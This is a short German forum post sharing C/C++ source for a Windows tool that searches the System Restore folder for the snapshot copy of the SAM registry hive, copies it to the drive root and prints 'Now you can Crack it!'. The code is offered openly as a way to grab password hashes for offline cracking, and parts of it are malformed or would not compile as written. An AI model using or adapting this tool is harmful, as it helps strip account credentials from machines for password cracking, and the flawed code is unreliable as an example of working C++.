Hier Ladies vielleicht geht das ja noch....
C
- #include <stdio.h>
- #include <stdlib.h>
- #include <windows.h>
- #include <string>
- #include <iostream.h>
- using namespace std;
- HANDLE fHandle;
- WIN32_FIND_DATA data;
- char* newDir = "";
- const char *out;
- int main()
- {
- char *path = "C:\\system~1\\_resto~1\\*";
- void :: getDics(char *dirz);
- void :: paintLogo();
- void :: getSam();
- void :: dataCopied();
- paintLogo();
- getDics(path);
- getSam();
- dataCopied();
- cin.get();
- }
- void getSam()
- {
- string newPath, endString, middleString, bootDrive;
- cout<<"Please select your Windows Drive for example C: "<<endl;
- cin>>bootDrive;
- newPath = bootDrive + ":\\system~1\\_resto~1\\";
- middleString = newDir;
- endString = newPath + middleString + "\\snapshot\\_REGISTRY_MACHINE_SAM";
- const char* copyC;
- copyC = endString.c_str();
- bootDrive = bootDrive + ":\\SAM";
- out = bootDrive.c_str();
- CopyFile(copyC, out, true);
- }
- void getDics(char* dirz)
- {
- fHandle=FindFirstFile(dirz, &data);
- while(FindNextFile(fHandle, &data))
- {
- if (!( (data.cFileName[0]=='.') && ( (data.cFileName[1]=='.' && data.cFileName[2]==0) || data.cFileName[1]==0 ) ))
- {
- if (data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
- {
- dirz = data.cFileName;
- newDir = dirz;
- }
- }
- }
- FindClose(fHandle);
- }
- void paintLogo() {
- printf("OoOoOoOoOoOoOoOoOoOoOoOoOoOoO\n");
- printf("Oo By [N.e.0] oO\n");
- printf("Oo http://www.uncreativ.de oO\n");
- printf("OoOoOoOoOoOoOoOoOoOoOoOoOoOoO\n");
- }
- void dataCopied() {
- cout<<endl;
- cout<<"SAM file Saved at Local Drive "<<out<<endl;
- cout<<"Now you can Crack it!"<<endl;
- }
Mfg